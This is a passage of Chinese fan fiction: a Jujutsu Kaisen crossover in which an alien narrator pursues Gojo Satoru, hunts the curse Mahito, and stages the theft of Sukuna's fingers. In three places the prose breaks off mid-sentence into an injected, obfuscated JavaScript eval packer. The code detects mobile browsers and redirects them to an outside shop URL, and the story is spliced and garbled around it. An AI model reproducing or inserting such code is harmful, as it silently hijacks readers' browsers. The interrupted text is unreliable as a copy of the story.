现在这副表现,怎么看都是有所隐瞒嘛。 但他这边也不够坦率啊...该怎么说才好呢。 就在他犹豫不绝时,对方反而主动开口了—— “你是咒术高专的学生吧?” 虎杖悠仁懵了。 情报里没说这个啊。 22.想吃的第二十二天 我好像搞砸了一件事,不算是初体验,但因为理由是犹豫而非冲动,于我而言也是有些陌生的。 好在这次我没有不小心毁掉一整颗星球,只是不小心放跑了一只不听话的小老鼠,他也许已经咬坏了几块奶酪,但只要还没被五条悟发现他是我放跑的,一切就还有挽回的余地。 趁五条悟在外出差,我走出家门,并在公寓四周留下触须以作监视——或许我应该直接在五条悟身上投放,我们是人类社会中正在交往的关系,情侣间的亲密程度因人而异,我单方面认为我拥有这样的权限,我可以这么做,我早该这么做了。 毕竟,只要他不知道,又有什么问题呢。 等我找到那根停止移动的触须,我看到了两个沙作的小人,一个大概四岁上下的男孩趴在旁边,看的津津有味,为了避免自己打量的意图被我发现,还用塑料铲在旁边的沙地上扒动。 沙砾混着人眼看不见的灰尘落在我的鞋面上,顺着鞋口掉进里面。 “哇啊————————” 等我走到街道尽头的拐角处,还能听见他的哭声。 也许是在哭我在离开时不小心踩扁的小人,也许是单纯爱哭。 不管怎样,跟我都没什么关系。 我的心情算不上美妙,但也不至于糟糕,只是眼下,的确只有漫无目的的寻找了。 真人是故意的,至于是不是挑衅,那就不得而知了。 不过无所谓,他左右都是要死的。 我原本是打算在这附近多待一会,却没想到会碰上数月未见的夏油杰。 对于他一直不对真人下手的理由我姑且还能理解,但现在情况有变,既然没办法控制,就只剩下斩草除根这一条路可走了。 所以我嘴上虽然答应他继续把真人交给他处置,但同时也没有放弃自己寻找——谁让他不肯把真人的去向告诉我呢。 然而,尽管我已经几乎翻遍了这座城市,也没有闻到熟悉的咒灵气息,想来真人已经离开这里,或者进入了某个我无法感知的空间,比如五条悟曾经提到过的、也是夏油杰正在计划的领域。 领域。 一种利用咒力构建的特殊空间,介于实体与非实体之间,击败领域的构筑者或达成某种特殊条件就能使之消失,通常呈现为封闭状态,但也有半封闭形态的领域存在。 所以现在就只剩下两种可能性了,要么他不在留下触须的城市附近,要么他躲进了某个‘领域’。 如果是后者,现在的我的确没有办法查探到,但如果是前者,就只需要稍微扩大一下搜寻的范围。 触须自体内长出,呈辐射状向四周蔓延开来,碰到阻挡物,就将触须的构造改造成同样的物质,如果无法跨越,便融入其中,渗透、穿出... 一分钟。 三分钟。 五分钟。 七分二十三秒—— 找到了。 和触须前端共享的视野画面中出现一道熟悉的背影,他仿佛感应到了什么,缓缓回头。 异色双瞳没有找到焦点物,于是又继续朝前走去。 我将刚才那截触须留在真人身上,但不知道这次过多久又会被他发现,因此我得快点回去,回到东京。 我坐在开往东京的新干线上,即将到站的时候,收到来自五条悟的消息,内容是一张图片,准确来说,是一张监控画面截图。 上面有吉野顺平、有我,还有鸡贼的把自己掩的严严实实的夏油杰。 诸事不顺。 这是我的第一反应。 不等我想出狡辩的措辞,五条悟的电话就打过来了。 接,还是不接,这是一个问题。 最终我犹豫了三秒,还是接起电话: “下午好。” “还真是面不改色呢,想好该怎么解释了嘛?”说着兴师问罪的话,语气却是不合时宜的轻松,比起质问更像是调情。 “‘面不改色’的判断是从哪得出来的?我们打的不是视频电话。” 电话那头的五条悟轻笑一声,停顿一秒后,又问:“你在新干线上?还是电车?” “电车。” “果然是新干线”五条悟肯定道,“什么时候到站?话说这是返回的车次吧?” 真不公平,他明明没有咬过我,却能轻松解码我的信息,在他面前撒谎的成功率越来越低了。 “是回来的车次,大概十分钟到。” “不介意在站台等我这个男朋友来接你吧?” 介意。 但好像不能说。 也不能直接告诉他我等着去追杀一只被我放跑,还杀过人的咒灵。 “乖乖等我,不准乱跑哦。” 没办法,后路已经被堵死了,话说他不是在出差吗,为什么还能在东京站接人。 “知道了。” 十分钟后,一走出站台,就看见人群中一道无法忽视的白色身影。 也不挥手,就这么静静的看过来 ,像是料定我会从这里出来,我甚至怀疑他才是那个在我身上装了定位系统的人。 “好久不见了呢,我们。” 五条悟的手还插在口袋里,他看我需要低一点头,相反,我‘看’他是不需要抬头的,所以即便我的面前还是他的胸口,但那张微笑的脸和墨镜后微微眯起的眼睛还是被我看到了。 看到了,又能... “你干什么。” 随着诱人的香气扑满鼻腔,人眼可见的范围只剩他的外套,鼻尖蹭着布料,身后是一双微微用力的手。 我顺着他的视线抬头,下巴抵在他的胸前,视线正对上墨镜后的双眼。 他不仅没有松手,还故意用了点力,虽然很快就松开,但手臂还将我圈在怀中,他的控制范围之内。 怕我逃跑吗。 以为这样就能防止我逃跑吗。 他怎么这么笨了。 工作太多,把脑子忙坏了吗。 “咦?”他故作惊讶,“爱情电影里没有吗?至少《水形物语》里是有的吗,是‘拥抱’啦。” 我当然知道。 我不仅知道这是拥抱,还知道他又在故意答非所问。 “那你为什么要抱我?”我疑惑道。 五条悟突然闭嘴,一副欲言又止的样子。 就在他犹豫要不要把‘抱’这个词的歧义告诉眼前这个小外星人的时候,他感受到腰后一道克制的力度,以及胸前带着一点压力的热源。 “好了,我也‘拥抱’你了,这样可以了吗?” “艾利恩为什么要抱我呢?” 还是不说了,五条悟暗自决定。 “是你先抱的我”我解释道,“而且我刚才发现,悟的拥抱很舒服。” 虽然不知道他为什么不说话,但我还是决定把话说完。 “既然这样 ,我也是可以主动抱你的,对吧。” 紧贴在脸颊边缘的胸膛一阵缓慢的起伏: “随时都可以。” 五条悟今天的确是在出差,而他也是坐新干线回来的,只是比我早到一会,在知道我也要从这里下车后,就把来接他的辅助监督打发走,自己留在这里等我了。 “打车回去吗?还是电车。” 等我们走到主道路边上的时候,天空已经下起了小雨,淅淅沥沥的,不算大,天气预报也没有要下大的趋势,估计过不了多久就会停。 真好啊,真人,你又能多活一天了。 “现在就回去吗?” “不回去吗?”我反问。 “不去约会吗?”五条悟笑着说。 “可是下雨了。”我伸出手,雨点落在掌心,无法汇聚。 但我还是将手心摊开在他面前。 “买把伞就好啦,虽然我是不用打伞的,有无下限。”五条悟幼稚的得意道。 “不用买。”我说。 下一秒,一道透明的伞面出现在我们头顶。 我将手中的伞柄递到五条悟手中,手心温暖而干燥,和我的截然相反。 抬起头,我满意的看到五条悟来不及藏回去的惊讶,这让我想起我在夏油杰的回忆里看见的人。 唉,还是来晚了。 如果是那个时候的五条悟,应该很容易就能把他骗进肚子里,说不定只要告诉他被我吃掉就能转生异世界,那个天不怕地不怕的小鬼就会一边说着‘真的?我去看看’,一边乖乖任我吃掉。 “如果猜对这把伞是用什么做的,我就告诉你我为什么会出现在那个地方。” “啊...猜不到呢。”五条悟遗憾道。 “...是用雨水——” “是用雨水做的,对不对?” 在我平静的眼神中,五条悟面不改色的笑着,伞被他稳稳的撑着,角度有些倾斜。 伞面几乎将我的整个后背罩住,前方则被他本人封锁。 “我猜对了。”他得意宣布。 “你这是作弊,犯规,欺诈...” 五条悟也不打断,就这么看着我,坏心眼的测试我的词汇量。 我又不想说话了。 “但我说对了,对吧。” 那又怎样 。 “我不会再跟你玩这种游戏了。”我也宣布我的结论。 “欸————”五条悟拖着长音“不要嘛,我觉得还挺有意思的。” “那...作为补偿,艾利恩不需要告诉我你的秘密了。” “真的?”我盯着他的眼睛,趁他另一只手还插在口袋里,突然将他挂在鼻梁上的墨镜摘下—— 看见了,那个‘很好骗’的悟。 他显然愣了一下,白色的睫毛随着视线微微下垂,应该是在看被摘下的墨镜。 小刷子似的目光又扫上来,最后落在我的脸上,或者是我的眼睛里。 “真的。”他慢声慢语。 “我去年在涩谷发现了一只人形咒灵,因为他的能力还挺有意思的,就把他放走了。” 五条悟表情不变。 “我在他身上留下了触须,设下了对人类出手就会自动攻击的禁制,但被他先办法丢掉了,这次去神奈川,就是处理这件事。” “监控画面里戴兜帽的人不是他,是杰。” “那只咒灵跟漏壶是一起的,他们现在在一起行动,杰说会帮我看好他,但我还是打算自己动手。” “为什么?不相信那家伙吗?”五条悟问。 我摇了摇头,“事情拖得越久,越容易暴露,我想尽快解决他。” “暴露什么?”五条悟好奇道。 我心虚的看了他一眼,目光落在他撑着伞的手上—— “暴露我把会杀人的咒灵放走,而且也真的让他杀了人。” “艾利恩不是阻止过了吗。” “没有做到的事情,和没有做有什么区别。” “原来你在这种事情上有这么认真啊”五条悟感慨到,“我觉得是有的哦,区别。” “是吗,我很少有做不到的事情,所以没有做到,对我来说就是没有做。” “如果下定决心去做的话,就是能做到的。” “这种时候总是很自信呢”五条悟笑着说,“艾利恩想吃掉我,但是没有成功,难道就代表你没有为这件事努力过吗?” “不一样”我摇了摇头,“我会吃掉你的,这件事还在进行中,结果还没有出现。” “所以‘阻止’这件事也还在进行中吧,否则艾利恩也不会去神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我再也没见过像斯塔里星一样的星球,又或许每颗星球都是独一无二的——我后知后觉。 宇宙的底是黑色的,但黑色的画布之上却是色彩斑斓的画面,我见过的颜色很多,每一种都篆刻在我经历过的无聊的时间里,直到颜色本身也变得无聊。 只有斯塔里星上的蓝色,只有斯塔里蓝。 有人说“蓝色是色彩的本质,代表着其他所有颜色的颜色。” 这是一个没有科学依据的结论,只源自说话的人本身的偏爱。 “艾利恩。” 五条悟的声音再次响起。 这下连蓝色也消失了,顺着脸颊上的热度看去,是一双人类的手,带着干燥鲜明的热度,贴在我脸上,脸颊两侧。 “悟,到底什么是难过。” 我收回视线,重新看向眼前的人,这个随处可见的,独一无二的人类。 贴在脸上的手指动了动,不轻不重的擦过我的眼角,指腹的纹路比年轮清晰,和年轮一样,也是独一无二的。 他擦的太近了,我忍不住眨了眨眼。 眼前的嘴唇一张一合,估计他自己都没意识到,他可没把话说出来,但我还是根据口型读到一句抱歉。 “我觉得还是不告诉艾利恩比较好。” “所以你会难过?” “当然”五条悟收回双手,随手捡起地上的雨伞。 “我可是人类啊。” “我不会死掉的。”我说。 “那真是太好了。”五条悟说。 “你刚才在擦什么?”我摸了摸眼角,那里已经什么都没有了。 “雨水吧,毕竟伞都掉了嘛,艾利恩又没有无下限。” “伞为什么会掉?” 五条悟笑而不语,“因为我想看艾利恩淋雨?” “这样很坏。”我衷心告诫他,虽然我不在意淋雨这种小事。 但五条悟居然认真道歉了,比任何一次都认真。 在我的记忆里,只有不小心让悠仁主动说自己爷爷去世那次才比得上。 撑伞的手就在面前,我甚至看得见他手背的纹理。 我听见他说抱歉。 他还说,以后不会了。 他说的很认真。 好吧,这样就不算‘很’坏了,只是有点坏而已。 · 这次放在真人身上的触须没有被他摘掉,也许是跟我放的位置有关。 在我回到东京一周后,五条悟说一年级又要来一位新生。 我没有多想,只说随时可以把人带过来,然后像对悠仁他们一样,在他身上放下一节用于检测危险的触须。 五条悟把人带回来的时候是周末。 听到铃声的我去开门,门外的五条悟往旁边一让,我又看见了熟人。 “初、初次见面!” 吉野顺平倒是反应很快,但是已经没这个必要了。 “他已经知道了”我指了指站在一边的五条悟,“我们见过的事情。” “欸?”吉野顺平看了看站在一边的五条悟,“五条老师,为什么不说呢?” “大概...是忘了吧。”五条悟故作深沉。 “不是跟杰走了吗?为什么会去高专呢?”我问他。 吉野顺平反应了一会才意识到我是在问他,后知后觉道: “我本来也觉得,留在夏油先生那边会更适合我这种人。” “但是,看到虎杖以后,我又想起艾利恩小姐的话。” 23.想吃的第二十三天 “我说的话吗...嗯,那天好像是跟你说了很多话,但要说是哪一句让你改变了主意,我不知道。” 吉野顺平闻言笑了,他弯了弯眼,什么也没再说。 他入学的时机刚刚好,正好赶在今年和京都的姐妹会交流赛举办之前,考虑到几乎所有人都决定参赛,丢下他一个人也不太好,虽然吉野顺平本人没什么意见,但五条悟还是建议他正好借此机会熟悉自己的术式。 尽管我解释过很多遍,虽然都是触须,但我的触须跟水母触须有着本质上的不同,但五条悟还是坚持把吉野顺平的加训环节外包给了我。 可惜的是,我真的没说谎,不想帮忙的理由也的确不是托词。 而且我认为吉野顺平的术式重点不在水母的触须,而是他本人对水母式神的调动。 说到这个。 我也想到一个可靠的人选。 “难道你就不想看由你这个被驱逐的人教导出的学生,把其他人踩在脚下的样子吗?” “首先,不是驱逐,我是自己叛逃的”被我叫出来的夏油杰反驳到。 “其次,不想。” “为什么?你什么时候变成这种没出息的家伙了?你的大义呢?杰。” 夏油杰面无表情的看向一边,但我猜他一定在心里对我翻了白眼,而且不是第一次。 “说到底,做这种对悟有好处的事情,你倒是能讨他欢心,我又能得到什么呢?” “你想要什么。” “我想要什么没有人比你更清楚了。”他莞尔一笑。 “艾利恩...”吉野顺平犹豫着开口,“没关系,我可以跟五条老师说——” 我摇了摇头,叹了口气。 “高专剩余的手指都在我这里了,至于羂索计划里的九相图,那种东西你拿了也没用吧?” “当然”夏油杰说,“但是,比起手指,最近倒是又有了新的发现。” “什么?” “里梅——也就是那位两面宿傩的追随者。” “看来只剩下他手上的手指了。” “不,不止是手指,他手上还有更多底牌。” 这个倒是羂索的情报里没有的。 “你是怎么知道的?” 夏油杰笑而不语,玩味的眼神在我身上绕了个圈,又不经意扫了吉野顺平一眼,缓缓开口: “艾利恩,你是从什么时候开始,对这些事情感兴趣的?” “你很关心吗?羂索的计划,我的目的,人类的命运...” 吉野顺平闻言一怔,这个问题的答案,他难道不知道? 不。 吉野顺平死死盯住夏油杰,眼神复杂。 他是明知道答案,还故意这么问的。 目的是.... “有什么办法,那家伙在关心,你也在关心这些无聊的事情啊。” “特意带上我,这是你的温柔吗?有点陌生啊。”夏油杰漫不经心的感慨一声。 “但是,你难道没有发现,不知从何时开始,你已经被你不得不关心的东西束缚住了吗?” “你到底想说什么。”我忍不住皱眉。 “...没什么”夏油杰话锋一转,眼中一晃而过的晦暗随着抬眼的动作彻底消失,“我可以帮你这个忙,再怎么说,不论是这副好身体,还是重生以后的事情,都受了你不少恩惠。” “所以,就算什么也得不到,我也会帮你。”他笑着说。 “不过你要是也愿意答应我这边的一件事,就更好了。” 这家伙。 “我答应你的事还少吗?说吧。” “别说的这么轻松,艾利恩。” 他罕见的叫了我的名字,我不得不认真打量起他的表情。 “这次的要求可没有这么简单,所以我才不想逼你答应。” “我需要你在这次计划露面。” · “到底是怎么了,从昨天开始就是这副表情。” 看了又看,忍了又忍,钉崎野蔷薇最终还是没忍住,无视虎杖悠仁的眼神劝阻,直接开口。 吉野顺平还沉浸在自己的思绪当中,直到他发现前方不知何时出现三堵‘人墙’,这才意识到刚才有人在跟自己说话。 “不,没什么...”他下意识否认。 钉崎野蔷薇皱着眉,看他一副不愿意说的样子,也没追问。 虎杖悠仁察觉到气氛不对,想开口说些什么,但看到吉野顺平的表情又欲言又止。 吉野顺平还在回忆那晚发生的事情。 按理说,他现在应该是高专这边的人。 但昨天两人的计划明显是不为高专所知的,他不认为那两个人会粗心大意到连这种事都忽略掉,但直到昨晚的加训结束,夏油先生也没有威胁、或者只是叮嘱他什么。 他们不怕他把那件事说出去吗? 还是说,他们是故意想让他说出去的呢? 不知不觉,他们已经来到集合地点。 京都校的学生几乎是同步到的,和带队的老师庵歌姬一起。 倒是他们这边的五条悟迟到了一会,但很快,所有人都被他的伴手礼吸引了过去,除了庵歌姬老师,已经没人记得这家伙迟到的事情了。 应该不是因为没得到伴手礼吧... “话说,那只猫呢?” 庵歌姬巡视一圈,似乎只是不经意的提起—— 五条悟愣了一瞬,笑着说: “干嘛,喜欢猫咪自己养啦,不要老想着别人家的猫。” 庵歌姬的额头冒出井字,拳头又赢了。 “那也不是你的猫吧,不是乙骨同学的猫吗。” 五条悟得意道:“现在是我的猫哦,是那家伙自己选的呢。” 庵歌姬都不想接话了。 和去年一样,第一天是团队赛,场地是一处被提前投放过特定数量咒灵的森林,地形不算复杂,但繁盛的树木和错综复杂的小路还是让人员变得有些分散,也可能跟两队选择的策略有关。 眼下,谁先找到对方,谁就能获得主动权。 · “虎杖。”吉野顺平突然开口。 还在赶路的虎杖回头,发现垂了一天脑袋的吉野顺平居然正目不转睛的盯着自己。 “你愿意说了吗?”虎杖悠仁说。 猜到了啊。 吉野顺平笑得很无奈,无奈之中,又夹杂些许释怀。 “我们和其他人不一样吧。” 虎杖悠仁很快就猜到他的意思,略加思索后,坦然点头。 “嗯,毕竟在遇见五条老师和艾利恩之前,我也一直以为自己会普通的过完一生,普通的上学,普通的工作,普通的回家。” “那为什么...”吉野顺平下意识追问—— “为什么要成为咒术师?”虎杖悠仁笑着反问。 在吉野顺平平静的注视下,那故作轻松的笑容又消失了。 “遇见五条老师他们的那天,我爷爷去世了。” 不等吉野顺平开口,他又继续道。 “他走的很安静,就像普通的睡着了一样,但入睡之前,他说了一句话,所以我想如果他会做梦的话,那应该不是什么美满的梦。” “他说...” “你要在众人簇拥下死去,不要像我一样。” 风拂过树叶,发出沙哑的声音。 “那个时候,我其实不懂他的意思。” “如果只是想和其他人建立羁绊,为什么要提到死去的事情,活着的时候不能跟大家在一起吗?” “而且,每个人出生的时候,死去的时候,都是一个人的吧,就算身边围了很多人,但意识消散的时候,应该也注意不到这些东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“虽然总是说不去学校也没关系,但我知道,她一直希望我能和其他人一样,普通的享受校园生活,普通的,交上几个朋友。” “普通虽然已经不存在了,但是后面那些...在这里,应该比我原来待的地方更能实现。” 不知不觉,他的右手已经握成了一个不松不紧的拳头。 “我已经有属于自己的家人了,不需要再被谁接纳。” “只要....守护好已有的东西就好。” 虎杖悠仁刚想顺势说点激励人心的话,还没来得及开口,就被身后的鼓掌声打断—— “啪——啪——啪——” 两人同时后退,警惕的看向突然出现的人。 一个赤裸上身的壮汉。 没记错的话,名字好像是叫... “东堂。”虎杖悠仁心情复杂。 东堂葵痛快的朝他举起拳头,向自己这位第二次见面的挚友问好。 “这是你的新朋友吗?不错的发言,我认可了!” “谁需要这个啊。”虎杖悠仁无力吐槽。 “顺带一提你喜欢的女人类型是——” 给我听人说话啊。 虎杖悠仁默默腹诽。 吉野顺平却顾不得这些了,见来者没有敌意,他急忙开口: “虎杖,我有一件事想告诉大家,现在不是战斗的时候,要赶紧——” 然而不等他把话说完,一阵足以引起地震的冲击出现,震耳欲聋的声响来自后方—— 准确来说,是三人身后,百米外的高空之中。 一个人影。 虎杖悠仁眯了眯眼,右手挡住刺眼的光线,优于常人的视力让他看的比两人更清楚... 刺青,四手,两面... 两面? 两面宿傩?! 24.想吃的第二十四天 夏油杰一直觉得,自己现在干的事情,和以前也没有本质的区别。 祓除,吸收。 祓除,吸收。 祓除,吸收。 唯一的变化,就是对于那些他不感兴趣的咒灵,不会再分出多余的关注,对于那些无关紧要的猴子,也不会再产生更多的憎恶。 虽然,他还是讨厌猴子。 他能感觉到,在这副全新的躯体之内,有什么东西正在融合,也有一些不属于他的东西趁虚而入。 过去的自己,现在的自己,陌生的自己... 如果咒灵操术的代价是忍受呕吐物的味道污染整个口腔、喉道、乃至身体与关于食物的记忆,那么重生的代价,就是承受构造新生之体的‘基因’所含的一切信息。 起初他以为只是对味觉的改造,但那甚至是将原本恶心的味道变得美味——这也算代价吗? 他如此疑惑着。 直到随着羂索被封印,他也成功找回术式,名为‘目标’的障目之叶飘落,被忽略的巨物就出现在眼前。 平静的、庞大的、空虚的、陌生的、孤独的巨物—— 名为情绪的巨物。 他原本以为是自己对死而复生的事实还没有真正接受所以才产生了这么多乱七八糟的念头,但随着独自行动的时间越来越久,情绪对他造成的影响越来越难以忽略,夏油杰这才意识到,如果不想因为自身的虚无感,失去对世界的感知与改造欲,他最好是一直待在那个人身边。 他也怀疑过,她对此是否知情,又是否是因为知道这种机制存在,所以才放任自己这个可能给她带去麻烦的家伙,任性而为。 但他后来又打消了这种怀疑,她显然是不知情的。 与此同时,夏油杰产生猜测,这些情绪的主人其实不是自己,而是另一个人。 他实在好奇这个问题的答案,所以面对她坦然提出邀约,他总是找理由拒绝,但背地里又偷偷观察。 有时是用能共享视觉的咒灵,有时是自己躲在远处,不放过那张和自己一样“后天生成”的脸上,任何一丝变化。 但是没有,没有困扰,没有变化。 后来他想明白了,他共享的应该不是艾利恩所有的情绪波动,只是存放在她的‘触须’之中的,来自更久远的岁月之前的情绪。 连她自己都不知道的情绪。 能让人与人之间发生理解的,不是共性,而是差异。 夏油杰正是在获得这份微妙的差异之后,才逐渐开始理解对方的一些想法。 明明拥有足以忽视一切的力量,却向弱者的规则妥协。 明明最讨厌麻烦,却将会给她带来麻烦的人留在身边。 明明只要抹消、明明可以抹消——却还是给她的‘计划’留下隐患。 甚至说到她的计划,本身也满是疑点。 “你到底想要什么?” 对方问自己话,夏油杰也这么问过她。 得到回复,很简单,但也过于简单。 “想吃掉悟,但是,得是他自愿被我吃掉。” “有这么重要吗?”夏油杰问。 罕见的,对方没有直接回答,而是歪了歪头,反问他: “你觉得不该这么重要的什么?” “是必须吃掉悟?” “必须让他自愿?” “还是...进食本身?” 是最后那个。 夏油杰在心里回复。 她应该是听见了,这句他没有说出口的回答。 “我知道,很多人只把一日三餐当作普通的定律,偶尔才会认真追求某种味道,过分追求食欲上的满足,还会被认为没出息。” “你也是这么认为的吧。” 言语间,那道总能让人感到无处遁形的目光已经刺入双眼,但不会带来刺痛。 夏油杰没有说话。 “我没有需要解释的,也不在乎其他人的看法,但是杰。” 她说。 “如果是你,我觉得我是能得到理解的。” “总有一天,你是会理解我的。” 无害的月光照进吞噬一切的漆黑,而漆黑的镜面之外,是他自己的表情。 他下意识躲开那面让人无处遁形的镜子,接着去看镜像之外的部分。 ‘镜子’本身的部分。 然后他看到了,一个清浅的微笑。 而我也会理解你的。 ‘镜子’说。 · 东京高专的上空突然出现一道人影。 同时发生的震动,自然而然的被人归结到此人身上。 然而事实并非如此。 最初的巨响来自花御与狗卷等人的战斗,专注对手的几人尚且没有发现头顶出现的身影,但就在他们撤退的瞬间,不知是谁先抬的头,在他的惊呼之下,其余人也顺势望去—— 半身赤裸,双手抱臂,而在那之后,还有一双手。 满身的咒印,以及,覆盖在面孔之上的,另一张面孔。 最先将这副模样与名讳对上的是加茂宪纪,依据是加茂家收藏的古籍中对两面宿傩的描述。 尽管这类资料出现了不同版本的答案,但单论特点,倒是统一的突出。 于是,在看到那副模样之时,加茂宪纪就想到了这位诅咒之王。 但是...他为什么会出现在这里? 和花御不同,两面宿傩并没有急于开启一场战斗,并且对他们正在进行中的战场也没有要加入的意思。 他静立在半空,目光望向远处,似乎在找什么东西。 对于几人投来的视线,两面宿傩也未予理会。 就在加茂宪纪一边跑一边疑惑这家伙要在这里发多久呆时,他终于动了。 目标明确,直冲密林之外的建筑。 很明显,他想从高专拿走什么东西,但面对突袭的强敌,无论是京都校还是东京高专这边,都已没有余力去阻止了。 与此同时,针对五条悟的帐终于破开,但当他到场的时候,空中早已不见任何人的踪影。 他还是按照计划,将现身的特级咒灵赶走,确保学生的安全。 至于那些早就偷出去给艾利恩销毁的手指... 这下所有人都看见了,是咒灵偷走的,跟他们可没关系。 “大家没受伤吧?” 自认为演技毫无破绽的五条悟轻松的完成了演出,看到学生们虽然一副神色紧张、却并没有受伤痕迹的样子,更加放心的明知故问。 “老师!好像没有人受伤,但是刚才那个...是宿傩吧?”虎杖悠仁果断举手,借机问出心中的疑问。 “嗯?宿傩?” 五条悟怀疑自己听错了。 就在他怀疑是不是虎杖悠仁认错了的时候,加茂宪纪也应和了一句。 “虽然没有看见他使用术式,但特征能对上。” “然后...他似乎在找什么东西,或许是因为这个,才没有参与战斗。” 也是因为加茂宪纪的这句提醒,东京校这边迅速反应,当即开始核查封印物,结果就像加茂宪纪猜测的那样,两面宿傩的手指全部失窃,一并被带走的,还有咒胎九相图。 这些倒是和计划的一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358720|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是...两面宿傩到底为什么会出现。 还是该疑惑,那个长得跟两面宿傩本体一模一样的家伙,到底是哪冒出来的? 虽然出现了意外,但好在没有出现人员伤亡,第二天的交流赛还是会正常进行,于是短暂的情报交流会结束后,所有人都回到各自的住处休整。 尽管很想回去一趟,但考虑到至少明面上今天还是发生了咒灵袭击事件,身为战力保障的五条悟,自然是得留下的。 只是在回到宿舍,看见那只窝在单人椅上的猫时,五条悟也觉得没有回去的必要了。 不等五条悟走到它身边,假寐的双眼倏然睁开,露出一双镶着金边的黑色圆瞳。 “这算是自首吗?” 五条悟笑着问,顺便带上身后的木门。 就在他转身关门的瞬间,身后一阵能量波动,再一看,哪还有什么黑猫。 只有一个穿了一身黑的女人,坐在那张单人椅上,手里把玩着一个普普通通的魔方。 他们都知道,魔方里面封印着什么。 闻言,女人继续摆动着魔方,直到每一面都变成统一的色彩,魔方还原。 “是杰的要求,事出突然,没来得及告诉你。” 五条悟却没接这话,转而提起刚才的画面: “为什么是爱子呢?难道比起人类,你更喜欢猫咪的身体吗。” “我无所谓。”我摇了摇头,顺手将魔方收进口袋,“只是为了避免被进来的人看见——你在失望什么?” 五条悟甩了甩脑袋,欲盖弥彰的反问:“有吗?有失望吗?” “绝对有。”我不留情面的拆穿。 五条悟走过来,没有去坐旁边的位置,就这么站在我面前,发现我抬头看他,又在我面前蹲下。 “如果是爱子的话,现在就能和她一起坐在这里了吧。” 他垂眼看了看我身下的座位。 “我可以让给你。”我低头,又抬头看他。 “重点不是坐下啦,是....” 五条悟瞪大了双眼,话来不及说完,双手下意识接住倒向怀里的人,柔软冰凉的发丝蹭在脖颈间,存在感比猫咪的毛发更分明。 更不用提均匀的、落在耳侧的吐息,和突然袭来的熟悉香气,他几乎以为自己不是在教师宿舍,而是已经回家了。 比起白天,这才是真正的突袭。 手臂还松松拢在颈后,鼻背似有似无的蹭过皮肤,他低头想看有没有人露出恶作剧得逞的表情,却只看见一个毛茸茸的头顶。 五条悟试着回忆了一下抱猫的动作,但无论如何也无法复刻在对象是人类的场合,只是在他起身、又坐下的瞬间,双手已经本能的搂住她的肩背和膝弯,等一切结束,他已经坐在自己平时的座位上,怀里的人也和平时一样趴在怀里。 她甚至还像自己做猫咪的时候一样,随意的蹭出一个舒服的姿势,就这么毫不费力的窝在某人的怀中。 五条悟觉得自己是该生气的,在她眼里,他跟两人身下的沙发真的有区别吗? 但当他低头想用眼神去指责或者埋怨时,只看见一双写满理所当然的眼睛。 这还怎么生气。 · 禅院真希还没睡,尽管时间已经不算早了,再不休息,第二天会不可避免的水肿。 但她总有一种预感,她最好是先不要睡了。 那天晚上见到的黑猫,三年级的前辈们口中所说的乙骨的黑猫,白天听到的,已经变成五条悟的黑猫。 “喵~” 禅院真希笑了。 以及,跳到窗边的黑猫。 25.想吃的第二十五天 “你不会是跟着我过来的吧?” 禅院真依靠在窗边,窗沿上的猫也睁大兽瞳,一眨不眨的盯着她。 禅院真依在脑海里比划了一下眼前猫的大小,忍不住怀疑是故意如此,还是它被高专的人饿得都不长个了! 虽然没有自己养过猫,但京都校周围偶尔还是会有流浪猫出没的,小奶猫几个月就足以长成成猫体型,更何况这都过了快一年,对方居然还是原来的大小。 她当然知道对方不是寻常的猫咪,但就算是猫妖,过了这么久总该有点变化吧? 她可不觉得要她把五条悟当超越目标的人,自己会懈怠修炼,至于为什么还是现在这副模样,怎么想都是东京校的错! 尤其,是从乙骨同学手上领养她的五条悟的错! 禅院真依悟了。 难怪,难怪它张口就竖了五条悟这个靶子,她以为的热血与狂妄,其实都是尽在不言中的辛酸无奈! 那天的教学或许也不是简单的教学,而是不得已为之的求救! 否则这么多天,它为什么都没有出来过呢? 就连出国的乙骨忧太都没能带走它。 ... 没错,就连乙骨忧太都带不走它,她又能为它做什么呢? · 不知道是不是错觉,我发现真依放松了不少,明明这里还是东京,既不是她熟悉的学校也不是自己家。 是因为实力变强了吗? “我是来找你的。” 借着近在眼前的距离,我纵身一跃,径直跳进女生的怀里。 我下意识闻了闻她身上的味道,是以花香为主的自然香气,女性的身体也比男人更柔软,但不知为何,我总觉得不一样。 不是真依和谁不一样。 而是有个人,和其他所有人都不一样。 哪怕同样是猫的身体,窝在悟怀里的感觉,也跟其他所有人都不一样。 与食欲无关,而是像第二母星一样,只是因为存在,就让人安心的舒适。 禅院真依有些紧张的抱着怀里的猫,和她想的一样,肉不多,仿佛一不小心多用些力道,就会折损它细小脆弱的骨骼,因为没有足够作为缓冲的脂肪层。 禅院真依低头看着手中的猫,不说话,但一只手上出现了几颗看上去平平无奇的子弹。 猫胡须在空气中动了动,小小的脑袋凑过去,泛着水光的鼻子耸了耸—— “从子弹入手吗....不错的尝试。” 克制的夸赞换成中年大叔的声音,可能还会让她忍不住翻个白眼,但眼前可是一只漂亮的猫咪,声音也是和话语一样冷静的女声,只会让人觉得她在客观评估,而不是装腔作势。 更何况,那可是一只猫咪。 